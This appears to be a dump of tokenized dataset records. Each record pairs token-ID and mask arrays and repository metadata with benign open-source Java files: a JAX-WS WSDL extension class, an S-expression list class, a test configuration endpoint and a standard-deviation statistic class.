4411,
41079,
51,
6457,
46,
222,
69,
40002,
45,
444,
299,
332,
14128,
638,
411,
7030,
2888,
299,
320,
303,
332,
897,
411,
303,
332,
787,
411,
303,
332,
1021,
411,
303,
332,
4614,
5926,
411,
303,
332,
4614,
39,
222,
1770,
222,
69,
4411,
7496,
12936,
1389,
303,
2833,
638,
51,
842,
222,
1770,
222,
942,
462,
42652,
638,
303,
4584,
19182,
222,
128,
465,
964,
1175,
924,
1964,
19896,
299,
244,
55,
53,
54,
56,
54,
53,
53,
54,
81,
64,
303,
2532,
3336,
638,
1367,
64,
303,
496,
26886,
638,
45,
444,
299,
332,
787,
678,
303,
2532,
7408,
76,
33820,
9391,
2361,
64,
303,
496,
26886,
638,
45,
444,
299,
332,
1021,
678,
303,
2532,
7408,
76,
33820,
9391,
1153,
64,
303,
496,
26886,
638,
45,
444,
299,
332,
108,
6633,
7367,
678,
303,
2532,
7408,
76,
33820,
9391,
4970,
5926,
64,
303,
496,
26886,
638,
45,
444,
299,
332,
108,
6633,
678,
303,
2532,
7408,
76,
33820,
9391,
4970,
64,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
1367,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
3336,
638,
339,
294,
338,
35399,
588,
303,
581,
3336,
638,
40972,
365,
320,
310,
461,
1367,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
1367,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
3336,
638,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
1049,
45,
1049,
638,
804,
46,
320,
310,
477,
51,
897,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
2361,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
7408,
76,
33820,
9391,
339,
294,
338,
35399,
588,
303,
581,
7408,
76,
33820,
9391,
640,
1563,
365,
320,
310,
461,
2361,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
2361,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
7408,
76,
33820,
9391,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
1563,
45,
5741,
76,
33820,
9391,
804,
46,
320,
310,
477,
51,
787,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
1153,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
7408,
76,
33820,
9391,
339,
294,
338,
35399,
588,
303,
581,
7408,
76,
33820,
9391,
45940,
365,
320,
310,
461,
1153,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
1153,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
7408,
76,
33820,
9391,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
1061,
45,
5741,
76,
33820,
9391,
804,
46,
320,
310,
477,
51,
1021,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
4970,
5926,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
7408,
76,
33820,
9391,
339,
294,
338,
35399,
588,
303,
581,
7408,
76,
33820,
9391,
640,
6633,
5926,
365,
320,
310,
461,
4970,
5926,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
4970,
5926,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
7408,
76,
33820,
9391,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
6633,
5926,
45,
5741,
76,
33820,
9391,
804,
46,
320,
310,
477,
51,
4614,
5926,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
4970,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
7408,
76,
33820,
9391,
339,
294,
338,
35399,
588,
303,
581,
7408,
76,
33820,
9391,
640,
6633,
365,
320,
310,
461,
4970,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
4970,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
7408,
76,
33820,
9391,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
6633,
45,
5741,
76,
33820,
9391,
804,
46,
320,
310,
477,
51,
4614,
299,
804,
64,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,435
| true
| 58.208955
| true
| true
|
HTTPUrlReplacement.java
|
/FileExtraction/Java_unseen/AdoptOpenJDK_openjdk-aarch64-jdk8u/jaxws/src/share/jaxws_classes/com/sun/tools/internal/ws/wsdl/document/http/HTTPUrlReplacement.java
|
/*
* Copyright (c) 1997, 2012, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.sun.tools.internal.ws.wsdl.document.http;
import com.sun.tools.internal.ws.wsdl.framework.ExtensionImpl;
import org.xml.sax.Locator;
import javax.xml.namespace.QName;
/**
* A HTTP urlReplacement extension.
*
* @author WS Development Team
*/
public class HTTPUrlReplacement extends ExtensionImpl {
public HTTPUrlReplacement(Locator locator) {
super(locator);
}
public QName getElementName() {
return HTTPConstants.QNAME_URL_REPLACEMENT;
}
public void validateThis() {
}
}
| 1,747
|
Java
|
.java
|
AdoptOpenJDK/openjdk-aarch64-jdk8u
| 13
| 45
| 0
|
2020-07-16T16:13:20Z
|
2021-09-29T14:47:41Z
|
ae115f11d52037b82816c8a18b1f25847d58b40e8648fd82738300bce68fbe8c
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
54,
62,
62,
60,
49,
244,
55,
53,
54,
55,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
244,
17980,
6759,
1218,
477,
222,
338,
8445,
822,
641,
5405,
391,
341,
332,
44978,
39,
3773,
641,
3961,
222,
338,
829,
17980,
347,
341,
7621,
822,
708,
20854,
297,
4850,
477,
1361,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
222,
222,
1337,
785,
51,
9886,
51,
4303,
51,
3269,
51,
3624,
51,
39215,
51,
2826,
51,
544,
64,
222,
222,
485,
785,
51,
9886,
51,
4303,
51,
3269,
51,
3624,
51,
39215,
51,
2863,
51,
4823,
3499,
64,
222,
485,
1105,
51,
2608,
51,
31965,
51,
16455,
64,
222,
222,
485,
3698,
51,
2608,
51,
2029,
51,
25553,
64,
222,
222,
1350,
222,
338,
418,
4818,
2001,
24217,
5122,
51,
222,
338,
222,
338,
496,
2133,
19873,
15606,
12653,
222,
588,
222,
942,
462,
4818,
2226,
24217,
2041,
15354,
3499,
320,
465,
581,
4818,
2226,
24217,
45,
16455,
31127,
46,
320,
310,
2615,
45,
25100,
312,
303,
339,
465,
581,
31669,
640,
40530,
365,
320,
310,
461,
4818,
5238,
51,
40447,
100,
2427,
100,
25268,
3495,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 456
| true
| 72.467086
| true
| true
|
SList.java
|
/FileExtraction/Java_unseen/panicz_grasp-android/stages/parser/SList.java
|
import java.util.List;
import java.lang.StringBuilder;
class SList extends SExp {
public List<SExp> elements;
public String ultimate_whitespace;
public SList(String initial_whitespace,
List<SExp> expressions,
String final_whitespace) {
preceding_whitespace = initial_whitespace;
elements = expressions;
ultimate_whitespace = final_whitespace;
}
@Override
protected StringBuilder buildString(StringBuilder result) {
result.append('(');
for (SExp s : elements) {
s.buildString(result);
result.append(' ');
}
result.deleteCharAt(result.length() - 1);
result.append(')');
return result;
}
@Override
public String toString() {
return buildString(new StringBuilder()).toString();
}
@Override
public Bit toBit() {
Box box = new Box();
Bit previous_bit = null;
Line current_line = null;
for (SExp sexp : elements) {
Bit current_bit = sexp.toBit();
String pws = sexp.preceding_whitespace;
int interline_rows = S.lines(pws);
int space_columns = S.ultimate_line_width(pws);
Space space = new Space(space_columns, current_bit);
if (previous_bit == null) {
box.first_interline = new
Interline(interline_rows, new Line(space));
current_line = box.first_interline.following_line;
}
else if(pws.contains("\n")) {
current_line =
current_line.appendLine(interline_rows,
space);
}
else {
previous_bit.following_space = space;
}
previous_bit = current_bit;
}
Interline last_interline = new
Interline(S.lines(ultimate_whitespace));
if(current_line == null) {
box.first_interline = last_interline;
}
else {
current_line.next_interline = last_interline;
}
return box;
}
}
| 1,761
|
Java
|
.java
|
panicz/grasp-android
| 15
| 1
| 0
|
2020-01-29T08:26:53Z
|
2023-03-13T17:44:22Z
|
32dc25b6040d47543589febd7d30bcbb94217692b9f37c390aa4c20ffcebabed
|
[
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1401,
51,
1600,
51,
20859,
64,
222,
222,
842,
377,
739,
2041,
377,
3878,
320,
303,
581,
1701,
65,
88,
3878,
67,
4725,
64,
303,
581,
910,
29307,
5724,
100,
29990,
64,
465,
581,
377,
739,
45,
671,
2838,
100,
29990,
49,
374,
1701,
65,
88,
3878,
67,
15867,
49,
374,
910,
1175,
100,
29990,
46,
320,
222,
221,
1023,
3884,
318,
100,
29990,
299,
2838,
100,
29990,
64,
222,
221,
7620,
299,
15867,
64,
222,
221,
474,
5724,
100,
29990,
299,
1175,
100,
29990,
64,
303,
339,
2205,
496,
1806,
303,
2532,
9705,
1984,
671,
45,
20859,
1074,
46,
320,
222,
221,
1285,
51,
1713,
482,
482,
312,
222,
221,
999,
327,
88,
3878,
328,
518,
4725,
46,
320,
3281,
328,
51,
1848,
671,
45,
1285,
312,
3281,
1074,
51,
1713,
482,
17842,
222,
221,
130,
222,
221,
1285,
51,
2577,
2674,
1094,
45,
1285,
51,
1340,
365,
449,
244,
54,
312,
222,
221,
1285,
51,
1713,
482,
34924,
222,
221,
620,
1074,
64,
303,
339,
2205,
496,
1806,
303,
581,
910,
11349,
365,
320,
222,
221,
620,
1984,
671,
45,
909,
9705,
4269,
3127,
492,
303,
339,
465,
496,
1806,
303,
581,
7600,
391,
4596,
365,
320,
222,
221,
1723,
4410,
299,
556,
9979,
492,
499,
221,
4596,
4575,
100,
2417,
299,
762,
64,
222,
221,
1829,
1565,
100,
948,
299,
762,
64,
3038,
221,
999,
327,
88,
3878,
47225,
518,
4725,
46,
320,
3281,
7600,
1565,
100,
2417,
299,
47225,
51,
471,
4596,
492,
3281,
910,
317,
3624,
299,
47225,
51,
1023,
3884,
318,
100,
29990,
64,
3281,
648,
1447,
948,
100,
2158,
299,
377,
51,
4466,
45,
117,
3624,
312,
3281,
648,
5153,
100,
6173,
299,
377,
51,
474,
5724,
100,
948,
100,
1660,
45,
117,
3624,
312,
3281,
19074,
5153,
299,
556,
19074,
45,
1183,
100,
6173,
49,
1565,
100,
2417,
312,
3281,
434,
327,
8891,
100,
2417,
630,
762,
46,
320,
376,
221,
1521,
51,
2251,
100,
1164,
948,
299,
556,
6993,
4821,
948,
45,
1164,
948,
100,
2158,
49,
556,
7118,
45,
1183,
894,
376,
221,
1719,
100,
948,
299,
4410,
51,
2251,
100,
1164,
948,
51,
29198,
100,
948,
64,
3281,
339,
3281,
832,
434,
45,
117,
3624,
51,
4766,
5564,
115,
2152,
320,
376,
221,
1719,
100,
948,
299,
6993,
1565,
100,
948,
51,
1713,
1829,
45,
1164,
948,
100,
2158,
49,
32497,
5153,
312,
3281,
339,
3281,
832,
320,
376,
221,
8891,
100,
2417,
51,
29198,
100,
1183,
299,
5153,
64,
3281,
339,
3281,
4575,
100,
2417,
299,
1565,
100,
2417,
64,
222,
221,
130,
499,
221,
1662,
948,
2419,
100,
1164,
948,
299,
556,
376,
221,
1662,
948,
45,
88,
51,
4466,
45,
474,
5724,
100,
29990,
894,
244,
3038,
221,
344,
45,
1719,
100,
948,
630,
762,
46,
320,
3281,
4410,
51,
2251,
100,
1164,
948,
299,
2419,
100,
1164,
948,
64,
222,
221,
130,
222,
221,
728,
320,
3281,
1565,
100,
948,
51,
1995,
100,
1164,
948,
299,
2419,
100,
1164,
948,
64,
222,
221,
130,
3038,
221,
620,
4410,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 518
| true
| 65.64452
| true
| true
|
CustomPropertiesEndpoint.java
|
/FileExtraction/Java_unseen/TAKETODAY_today-infrastructure/infra-build/infra-configuration-processor/src/test/java/cn/taketoday/context/properties/sample/endpoint/CustomPropertiesEndpoint.java
|
/*
* Copyright 2017 - 2023 the original author or authors.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see [http://www.gnu.org/licenses/]
*/
package cn.taketoday.context.properties.sample.endpoint;
import cn.taketoday.context.properties.sample.ConfigurationProperties;
import cn.taketoday.context.properties.sample.Endpoint;
import cn.taketoday.context.properties.sample.ReadOperation;
/**
* An endpoint with additional custom properties.
*
* @author Stephane Nicoll
*/
@Endpoint(id = "customprops")
@ConfigurationProperties("management.endpoint.customprops")
public class CustomPropertiesEndpoint {
private String name = "test";
@ReadOperation
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
}
| 1,350
|
Java
|
.java
|
TAKETODAY/today-infrastructure
| 106
| 13
| 25
|
2018-08-16T12:12:39Z
|
2024-05-08T14:01:23Z
|
28d4ed63343ffcd16f74332643b3d546341aa4a422b267fcc7b84a2bce7cf2e2
|
[
1127,
222,
338,
2657,
244,
55,
53,
54,
60,
449,
244,
55,
53,
55,
56,
341,
4732,
4096,
575,
14656,
51,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
447,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
52,
98,
222,
588,
222,
222,
1337,
13007,
51,
121,
23060,
450,
414,
51,
1834,
51,
4659,
51,
3324,
51,
8001,
64,
222,
222,
485,
13007,
51,
121,
23060,
450,
414,
51,
1834,
51,
4659,
51,
3324,
51,
2339,
3303,
64,
222,
485,
13007,
51,
121,
23060,
450,
414,
51,
1834,
51,
4659,
51,
3324,
51,
6701,
64,
222,
485,
13007,
51,
121,
23060,
450,
414,
51,
1834,
51,
4659,
51,
3324,
51,
2248,
3786,
64,
222,
222,
1350,
222,
338,
2262,
7008,
642,
5408,
3137,
4324,
51,
222,
338,
222,
338,
496,
2133,
6678,
853,
2617,
508,
314,
5819,
222,
588,
222,
69,
6701,
45,
333,
299,
332,
26507,
611,
33463,
678,
222,
69,
2339,
3303,
459,
9343,
51,
8001,
51,
26507,
611,
33463,
678,
222,
942,
462,
6041,
3303,
6701,
320,
736,
964,
910,
655,
299,
332,
881,
884,
736,
496,
2248,
3786,
353,
581,
910,
16389,
365,
320,
303,
461,
477,
51,
444,
64,
353,
339,
736,
581,
782,
28331,
45,
671,
655,
46,
320,
303,
477,
51,
444,
299,
655,
64,
353,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 353
| true
| 74.592593
| true
| true
|
StandardDeviation.java
|
/FileExtraction/Java_unseen/waikato-datamining_adams-base/adams-spreadsheet/src/main/java/adams/data/spreadsheet/colstatistic/StandardDeviation.java
|
/*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
* StandardDeviation.java
* Copyright (C) 2013-2014 University of Waikato, Hamilton, New Zealand
*/
package adams.data.spreadsheet.colstatistic;
import adams.data.spreadsheet.Row;
import adams.data.spreadsheet.SpreadSheet;
import adams.data.statistics.StatUtils;
/**
<!-- globalinfo-start -->
* Calculates the standard deviation (population or sample).
* <br><br>
<!-- globalinfo-end -->
*
<!-- options-start -->
* <pre>-logging-level <OFF|SEVERE|WARNING|INFO|CONFIG|FINE|FINER|FINEST> (property: loggingLevel)
* The logging level for outputting errors and debugging output.
* default: WARNING
* </pre>
*
* <pre>-is-sample <boolean> (property: isSample)
* If set to true, the columns are treated as samples and not as populations.
* default: true
* </pre>
*
<!-- options-end -->
*
* @author fracpete (fracpete at waikato dot ac dot nz)
* @version $Revision$
*/
public class StandardDeviation
extends AbstractDoubleArrayColumnStatistic {
/** for serialization. */
private static final long serialVersionUID = 2141252366056112668L;
/** whether the arrays are samples or populations. */
protected boolean m_IsSample;
/**
* Returns a string describing the object.
*
* @return a description suitable for displaying in the gui
*/
@Override
public String globalInfo() {
return "Calculates the standard deviation (population or sample).";
}
/**
* Adds options to the internal list of options.
*/
@Override
public void defineOptions() {
super.defineOptions();
m_OptionManager.add(
"is-sample", "isSample",
true);
}
/**
* Sets whether the columns represent samples instead of populations.
*
* @param value true if columns are samples and not populations
*/
public void setIsSample(boolean value) {
m_IsSample = value;
reset();
}
/**
* Returns whether the columns represent samples instead of populations.
*
* @return true if columns are samples and not populations
*/
public boolean getIsSample() {
return m_IsSample;
}
/**
* Returns the tip text for this property.
*
* @return tip text for this property suitable for
* displaying in the GUI or for listing the options.
*/
public String isSampleTipText() {
return "If set to true, the columns are treated as samples and not as populations.";
}
/**
* Finishes up the stats generation after all the cells have been visited.
*
* @param sheet the spreadsheet to generate the stats for
* @param colIndex the column index
* @return the generated stats
*/
@Override
protected SpreadSheet postVisit(SpreadSheet sheet, int colIndex) {
SpreadSheet result;
Row row;
result = createOutputHeader();
row = result.addRow();
row.addCell(0).setContent("StdDev" + (getIsSample() ? "" : "P"));
row.addCell(1).setContent(StatUtils.stddev(m_Values.toArray(), getIsSample()));
m_Values = null;
return result;
}
}
| 3,745
|
Java
|
.java
|
waikato-datamining/adams-base
| 17
| 4
| 0
|
2017-09-01T22:51:51Z
|
2024-05-08T02:22:17Z
|
97e42e20ce902cd024e8551bcef3593de692560a0239850f50e1e4d3133ae9fc
|
[
1127,
222,
338,
280,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
280,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
280,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
280,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
280,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
280,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
280,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
280,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
280,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
280,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
222,
1127,
222,
338,
9312,
703,
17071,
51,
1874,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
56,
50,
55,
53,
54,
57,
11451,
451,
643,
102,
1567,
6599,
49,
696,
20915,
955,
49,
3153,
18682,
298,
382,
222,
588,
222,
222,
1337,
26177,
51,
624,
51,
35126,
51,
770,
37422,
64,
222,
222,
485,
26177,
51,
624,
51,
35126,
51,
2368,
